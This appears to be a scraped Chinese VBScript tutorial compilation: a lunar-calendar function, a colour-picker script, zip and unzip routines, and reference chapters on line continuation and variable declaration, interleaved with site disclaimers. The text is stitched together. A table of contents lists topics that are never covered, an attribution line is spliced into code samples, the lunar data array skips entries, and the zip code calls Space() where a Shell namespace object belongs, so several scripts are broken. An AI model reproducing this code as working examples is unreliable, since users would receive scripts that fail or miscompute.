一、基础语法1. 输出Hello World2. 声明变量并输出3. 输入输出4. 运算符使用5. 判断语句if...else6. 循环语句for...next7. 循环语句do...loop until8. 循环语句while...wend9. 多重选择switch...case二、文件操作10. 创建文件并写入文本内容11. 读取文件内容并输出到屏幕上12. 复制文件到指定目录下13. 移动文件到指定目录下14. 删除指定文件或目录下所有文件和子目录(递归删除)15. 获取指定路径下所有文件和子目录的名称列表(递归获取)16. 获取指定路径下所有符合条件的文件名称列表(递归获取)17. 打开指定文件进行编辑或查看(调用外部程序打开)18. 打开指定网址进行浏览(调用浏览器打开)19. 压缩指定目录为zip格式文件20. 解压指定zip格式文件到指定目录下三、字符串操作21. 字符串长度计算22. 字符串比较(区分大小写和不区分大小写)23. 字符串替换24. 字符串截取(从指定位置开始截取指定长度的子字符串)25. 字符串查找(返回第一次出现的位置)26. 字符串转换为小写或大写形式27. 去除字符串左侧或右侧的空格或制表符28. 分割字符串为数组(根据指定分隔符进行拆分)29. 合并数组为字符串(根据指定连接符进行合并)四、日期时间操作30. 获取当前日期和时间信息31. 获取当前日期信息(年、月、日)32. 获取当前时间信息(时、分、秒、毫秒)33. 将日期时间转换为字符串形式输出34. 将字符串形式的日期时间转换为Date类型变量35. 计算两个日期之间的天数差异36. 计算两个日期之间的小时数差异37. 计算两个日期之间的分钟数差异38. 计算两个日期之间的秒数差异39. 在当前时间基础上增加指定天数、小时数、分钟数或秒数后输出新的日期时间信息。
最新最全的VBS脚本应用超级范例大全
可以显示农历的VBS代码:<script language=vbscript>Function nl()'获取当前系统时间curTime = Now()Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12)'星期名WeekName(0) = " * "WeekName(1) = "星期日"WeekName(2) = "星期一"WeekName(3) = "星期二"WeekName(4) = "星期三"WeekName(5) = "星期四"WeekName(6) = "星期五"WeekName(7) = "星期六"'天干名称TianGan(0) = "甲"TianGan(1) = "乙"TianGan(2) = "丙"TianGan(3) = "丁"TianGan(4) = "戊"TianGan(5) = "己"TianGan(6) = "庚"TianGan(7) = "辛"TianGan(8) = "壬"TianGan(9) = "癸"'地支名称DiZhi(0) = "子"DiZhi(1) = "丑"DiZhi(2) = "寅"DiZhi(3) = "卯"DiZhi(4) = "辰"DiZhi(5) = "巳"DiZhi(6) = "午"DiZhi(7) = "未"DiZhi(8) = "申"DiZhi(9) = "酉"DiZhi(10) = "戌"DiZhi(11) = "亥"'属相名称ShuXiang(0) = "鼠"ShuXiang(1) = "牛" ShuXiang(2) = "虎" ShuXiang(3) = "兔" ShuXiang(4) = "龙" ShuXiang(5) = "蛇" ShuXiang(6) = "马" ShuXiang(7) = "羊" ShuXiang(8) = "猴" ShuXiang(9) = "鸡" ShuXiang(10) = "狗" ShuXiang(11) = "猪" '农历日期名DayName(0) = "*" DayName(1) = "初一" DayName(2) = "初二" DayName(3) = "初三" DayName(4) = "初四" DayName(5) = "初五" DayName(6) = "初六" DayName(7) = "初七" DayName(8) = "初八" DayName(9) = "初九" DayName(10) = "初十" DayName(11) = "十一" DayName(12) = "十二" DayName(13) = "十三" DayName(14) = "十四" DayName(15) = "十五" DayName(16) = "十六" DayName(17) = "十七" DayName(18) = "十八" DayName(19) = "十九" DayName(20) = "二十" DayName(21) = "廿一" DayName(22) = "廿二" DayName(23) = "廿三" DayName(24) = "廿四" DayName(25) = "廿五" DayName(26) = "廿六" DayName(27) = "廿七" DayName(28) = "廿八" DayName(29) = "廿九" DayName(30) = "三十" '农历月份名MonName(0) = "*" MonName(1) = "正" MonName(2) = "二" MonName(3) = "三" MonName(4) = "四" MonName(5) = "五" MonName(6) = "六" MonName(7) = "七" MonName(8) = "八" MonName(9) = "九" MonName(10) = "十" MonName(11) = "十一" MonName(12) = "腊"'公历每月前面的天数MonthAdd(0) = 0 MonthAdd(1) = 31 MonthAdd(2) = 59 MonthAdd(3) = 90 MonthAdd(4) = 120 MonthAdd(5) = 151 MonthAdd(6) = 181 MonthAdd(7) = 212 MonthAdd(8) = 243 MonthAdd(9) = 273 MonthAdd(10) = 304 MonthAdd(11) = 334'农历数据NongliData(0) = 2635 NongliData(1) = 333387 NongliData(2) = 1701 NongliData(3) = 1748 NongliData(4) = 267701 NongliData(5) = 694 NongliData(6) = 2391 NongliData(7) = 133423 NongliData(8) = 1175 NongliData(9) = 396438 NongliData(10) = 3402 NongliData(11) = 3749 NongliData(12) = 331177 NongliData(13) = 1453 NongliData(14) = 694 NongliData(15) = 201326 NongliData(16) = 2350NongliData(18) = 3221 NongliData(19) = 3402 NongliData(20) = 400202 NongliData(21) = 2901 NongliData(22) = 1386 NongliData(23) = 267611 NongliData(24) = 605 NongliData(25) = 2349 NongliData(26) = 137515 NongliData(27) = 2709 NongliData(28) = 464533 NongliData(29) = 1738 NongliData(30) = 2901 NongliData(31) = 330421 NongliData(32) = 1242 NongliData(33) = 2651 NongliData(34) = 199255 NongliData(35) = 1323 NongliData(36) = 529706 NongliData(37) = 3733 NongliData(38) = 1706 NongliData(39) = 398762 NongliData(40) = 2741 NongliData(41) = 1206 NongliData(42) = 267438 NongliData(43) = 2647 NongliData(44) = 1318 NongliData(45) = 204070 NongliData(46) = 3477 NongliData(47) = 461653 NongliData(48) = 1386 NongliData(49) = 2413 NongliData(50) = 330077 NongliData(51) = 1197 NongliData(52) = 2637 NongliData(53) = 268877 NongliData(54) = 3365 NongliData(55) = 531109 NongliData(56) = 2900 NongliData(57) = 2922 NongliData(58) = 398042 NongliData(59) = 2395 NongliData(60) = 1179NongliData(62) = 2635NongliData(63) = 661067NongliData(64) = 1701NongliData(65) = 1748NongliData(66) = 398772NongliData(67) = 2742NongliData(68) = 2391NongliData(69) = 330031NongliData(70) = 1175NongliData(71) = 1611NongliData(72) = 200010NongliData(73) = 3749NongliData(74) = 527717NongliData(75) = 1452NongliData(76) = 2742NongliData(77) = 332397NongliData(78) = 2350NongliData(79) = 3222NongliData(80) = 268949NongliData(81) = 3402NongliData(82) = 3493NongliData(83) = 133973NongliData(84) = 1386NongliData(85) = 464219NongliData(86) = 605NongliData(87) = 2349NongliData(88) = 334123NongliData(89) = 2709NongliData(90) = 2890NongliData(91) = 267946NongliData(92) = 2773NongliData(93) = 592565NongliData(94) = 1210NongliData(95) = 2651NongliData(96) = 395863NongliData(97) = 1323NongliData(98) = 2707NongliData(99) = 265877'生成当前公历年、月、日 ==> GongliStr curYear = Year(curTime)curMonth = Month(curTime)curDay = Day(curTime)GongliStr = curYear & "年"If (curMonth < 10) ThenGongliStr = GongliStr & "0" & curMonth & "月"ElseGongliStr = GongliStr & curMonth & "月"End IfIf (curDay < 10) ThenGongliStr = GongliStr & "0" & curDay & "日"ElseGongliStr = GongliStr & curDay & "日"End If'生成当前公历星期 ==> WeekdayStrcurWeekday = Weekday(curTime)WeekdayStr = WeekName(curWeekday)'计算到初始时间1921年2月8日的天数:1921-2-8(正月初一)TheDate = (curYear - 1921) * 365 + Int((curYear - 1921) / 4) + curDay + MonthAdd(curMonth - 1) - 38If ((curYear Mod 4) = 0 And curMonth > 2) ThenTheDate = TheDate + 1End If'计算农历天干、地支、月、日isEnd = 0m = 0DoIf (NongliData(m) < 4095) Thenk = 11Elsek = 12End Ifn = kDoIf (n < 0) ThenExit DoEnd If'获取NongliData(m)的第n个二进制位的值bit = NongliData(m)For i = 1 To n Step 1bit = Int(bit / 2)Nextbit = bit Mod 2If (TheDate <= 29 + bit) ThenisEnd = 1Exit DoEnd IfTheDate = TheDate - 29 - bitn = n - 1LoopIf (isEnd = 1) ThenExit DoEnd Ifm = m + 1LoopcurYear = 1921 + mcurMonth = k - n + 1curDay = TheDateIf (k = 12) ThenIf (curMonth = (Int(NongliData(m) / 65536) + 1)) ThencurMonth = 1 - curMonthElseIf (curMonth > (Int(NongliData(m) / 65536) + 1)) ThencurMonth = curMonth - 1End IfEnd If'生成农历天干、地支、属相 ==> NongliStrNongliStr = "农历" & TianGan(((curYear - 4) Mod 60) Mod 10) &DiZhi(((curYear - 4) Mod 60) Mod 12) & "年"NongliStr = NongliStr & "(" & ShuXiang(((curYear - 4) Mod 60) Mod 12) & ")"'生成农历月、日 ==> NongliDayStrIf (curMonth < 1) ThenNongliDayStr = "闰" & MonName(-1 * curMonth)ElseNongliDayStr = MonName(curMonth)End IfNongliDayStr = NongliDayStr & "月"NongliDayStr = NongliDayStr & DayName(curDay)nl = NongliStr & NongliDayStrEnd Functionmsgbox nl</script>vbs实现显示系统调色板的代码:set ie = createobject("internetexplorer.application")ie.navigate "about:blank"do until ie.readystate = 4 : wscript.sleep 25 : loopset doc = ie.documentset body = doc.bodyset win = doc.parentwindowbody.innerhtml = "<OBJECT id=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>"body.innertext = doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata "text", body.innertextie.quit用vbs实现zip功能的脚本:压缩:Function fZip(sSourceFolder,sTargetZIPFile)'This function will add all of the files in a source folder to a ZIP file 'using Windows' native folder ZIP capability.Dim oShellApp, oFSO, iErr, sErrSource, sErrDescriptionSet oShellApp = CreateObject("Shell.Application")Set oFSO = CreateObject("Scripting.FileSystemObject")'The source folder needs to have a \ on the EndIf Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\" On Error Resume Next'If a target ZIP exists already, delete itIf oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,TrueiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Write the fileheader for a blank zipfile.oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))iErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Start copying files into the zip from the source folder. Space(sTargetZIPFile).CopyHereSpace(sSourceFolder).ItemsiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd If'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function'from exiting until the file is finished zipping.Do Until Space(sTargetZIPFile).Items.Count = Space(sSourceFolder).Items.CountWScript.Sleep 1500'如果不成功,增加一下秒数LoopfZip = Array(0,"","")End FunctionCall fZip ("C:\vbs","c:\vbs.zip")解压缩:Function fUnzip(sZipFile,sTargetFolder)'Create the Shell.Application objectDim oShellApp:Set oShellApp = CreateObject("Shell.Application")'Create the File System objectDim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")'Create the target folder if it isn't already thereIf Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder'Extract the files from the zip into the folderSpace(sTargetFolder).CopyHereSpace(sZipFile).Items'This is a seperate process, so the script would continue even if the unzipping is not done'To prevent this, we run a DO...LOOP once a second checking to see if the number of files'in the target folder equals the number of files in the zipfile. If so, we continue.DoWScript.Sleep 1000‘有时需要更改Loop While oFSO.GetFolder(sTargetFolder).Files.Count <Space(sZipFile).Items.CountEnd Function非常棒的lcx写的非常规运行vbs :vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
VBS脚本参考之一——使用连字符2007年06月14日星期四下午08:35前言这一章的前半部分介绍了VB 脚本最基本的概念,并且告诉你它可以完成的工作,尤其是VBS和其它的如WMI、ADSI 接合在一起的时候。
后半部分主要介绍了VBS对系统管理员更有用的部分。
许多脚本和程序语言在向文本输入的时候并不严格的遵守文本的行。
例如,尽管下面这个JS 脚本写了很多行,但是,JS 把它当做一行来处理。
这是因为,在大部分的时候,JS 只有看到中止符的时候才认为使一个行的中止。
在这个例子中,中止符就是“;”。
在实际中敲入的行是和脚本本身不相关的。
var 作者:临汾市外事旅游局薛靖澜,转载请注明出处]objWMI=newEnumerator(GetObject("winmgmts:").InstancesOf("Win32_process"));正好相反,同样的一段代码,用VB 写的时候就会报一个语法错误。
SetobjWMI=(GetObject("winmgmts:").InstancesOf("Win32_process"))这是因为,VBS用回车键来代替特定的中止符。
为了中止一个VB脚本,你不需要来敲入一个分号或者其它的特殊的符号,你只需要敲回车键就好了。
一般来讲,不用中止符的限制,使VBS 在编写的过程中变的简单,但是也有一点会有些复杂。
为了增强程序的可读性,建议每行的最大长度不超过80个字符。
那么当你的一行代码中有100 个字符,怎么办呢?尽管看来好象有个很简单的解决办法,但是你不能用回车键来将一行代码分隔成很多行。
例如如下的代码片断会返回一个VB 运行错误因为它用回车键来分隔脚本strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName,strCurrentStatusWscript.Echo strMessageToDisplay你不能用回车建来换行,因为在VB 中它认为回车是代表一段代码的中止,在上面的代码中,它认为第一行是脚本的第一部分陈述内容。
然后认为第二行是另外一部分陈述内容。
这样因为strCurrentStatus 不是一个VBS的命令,所以就报错了。
为了解决这个问题,VB 脚本用下划线来表示下面一行是上面一行的代替。
在VB 的早期修订版本中,在第一行末尾加一个空格和一个下划线来表示第二行是第一行的继续。
为更明确的表明这个意思,第二行前面要加四个空格。
(这样作是为了可读,你其实不必在继续的行前作特定的标识──就是不用在第二行前加四个空格。
)作者:临汾市外事旅游局薛靖澜,转载请注明出处]strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, _strCurrentStatusWscript.Echo strMessageToDisplay当继续的行又引号的时候,它就显的特别复杂。
例如,架设你用下划线和空格来分隔一个WMI脚本:Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM _Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto' ")如果你运行这个脚本,它会弹出一个错误,因为继续换行符放在了引号中间了,这样它就认为换行符是字符串的一部分。
为了分隔这个陈述:1:在第一行用引号中止,然后插入空格和下划线2:用and(&)符号来开始下一行,这表示第二行是第一行字符串的继续3:在下一行开始之前加入引号这些引号表示这些陈述是包涵在上面的一行中的,没有了引号,它就VB就解释Win32_Service 是VB 的陈述语句,因为这个语句不是合法的,所以就产生了错误。
修正的版本如下:Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM " _& "Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto' ")用这个办法来换行的时候,在适当的位置插入空格要十分小心。
在上面的例子当中,空格是添加在“from”之后和下一行的引号之前,如果空格向作偏出,那么字符串会被错位的解释(你看如果将FROM 和Win32_Service 连在一起)会像如下的错误:" SELECT * FROMWin32_Service WHERE State = 'Stopped' AND StartMode = 'Auto'◎VBS脚本参考之二——定义和使用变量2007年06月26日星期二下午02:57一:Working with Variables变量是存储在计算器内存中能够存储数据的名称空间。
大多数脚本语言允许你隐式的声明变量,使你不用明确的声明就可以使用变量。
例如,你运行下面的脚本时候,不会遇到任何类型的错误,尽管它的第一行将一个值赋给了变量sngDegreesCelsius。
尽管它并没有被声明。
sngDegreesCelsius = 11sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)Wscript.Echo sngDegreesFahrenheitFunction ConvertToFahrenheit(ByVal sngDegreesCelsius)ConvertToFahrenheit = (sngDegreesCelsius * (9/5)) + 32End Function 作者:临汾市外事旅游局薛靖澜,转载请注明出处]隐式的变量声明可以让写脚本变的快而且简单,但是在同时,它可能导致难以发现和解决的问题。
为了说明这一点,以前面的脚本为例,前面的脚本将摄氏的11 度转换成华氏的51.8 度。
下面一个脚本本来应该作同样的事情,但是它却返回了一个32 的值……sngDegreesCelsius = 11sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)Wscript.Echo sngDegreesFahrenheitFunction ConvertToFahrenheit(ByVal sngDegreesCelsius)ConvertToFahrenheit = (sngDegresCelsius * (9/5)) + 32End Function上面一个脚本返回一个错误的值。
因为在第六行敲入sngDegreesCelsius,而在后面却敲入了sngDegresCelsius,因为这个变量并没有赋值,所以VB 认为它的值是0,这样继续算下去,结果为0,0 再加上32 所以返回了错误的答案。
像这样的错误很难被发现,因为语法是正确的,所以并没有错误的信息报出来。
你期待得到一个不是11 的值,并且你得到了。
当你写更加复杂的脚本的时候,这个敲入的错误很难被发现和改正。
Declaring Variables in VBScript为了避免这样的问题发生,你可以显式的声明你的变量。
当显示变量声明被要求的时候,脚本中所有的变量都必须被显示的声明,否则会再运行的时候报错。
例如,如下的脚本用“Option Explicit ”要求所有的变量被显示的声明,并且所有的变量用一个dim 语句。
Option ExplicitDim sngDegreesCelsiusDim sngDegreesFahrenehitsngDegreesCelsius = 11sngDegreesFahrenheit = ConvertToFahrenheit(sngDegreesCelsius)Wscript.Echo sngDegreesFahrenheitFunction ConvertToFahrenheit(ByVal sngDegreesCelsius)ConvertToFahrenheit = (sngDegresCelsius * (9/5)) + 32End Function当你运行这样一个脚本的时候,脚本的主机遇到一个没有声明的变量,这样,脚本中止执行并且显示出类似下面的一个错误:C:\Scripts\TempConvert.vbs(10, 5) Microsoft VBScript runtime error: Variable isundefined:'sngDegresCelsius'在VB 中声明变量:1.用Option Explicit 语句来强制一个变量的声明。
2.用一个单独的DIM 语句来声明每一个你要用的变量。
虽然你只能用一个单独的dim 来声明一个变量,但是在变量的后面,你可以添加一些解释来说明变量的用途,如下所示:Option Explicit 作者:临汾市外事旅游局薛靖澜,转载请注明出处]Dim intFirstNumber ' First number in our simple equationDim intSecondNumber ' Second number in our simple equationDim intTotal ' Sum of intFirstNumber and intSecondNumberInitializing Variables初始化一个变量就是简单的给一个变量赋予一个初始值。
例如,如下的几行代码初始化了两个变量,将x 赋予100,将Y 赋予abcdeX = 100Y = "abcde"如果你建立一个变量,但是没有给它初始化,(就是没有赋值给它),那么它的值有一下两种可能:如果它是一个字符串,那么它的值为空如果它的值是一个数字,那么它的值是0.例如:如下脚本创建了两个变量,X,Y,但是没有赋值给他们:Dim XDim YWscript.Echo X & YWscript.Echo X + Y在脚本的第三行,这两个变量被认为是字符串,(因为&是用来连接两个字符串的)。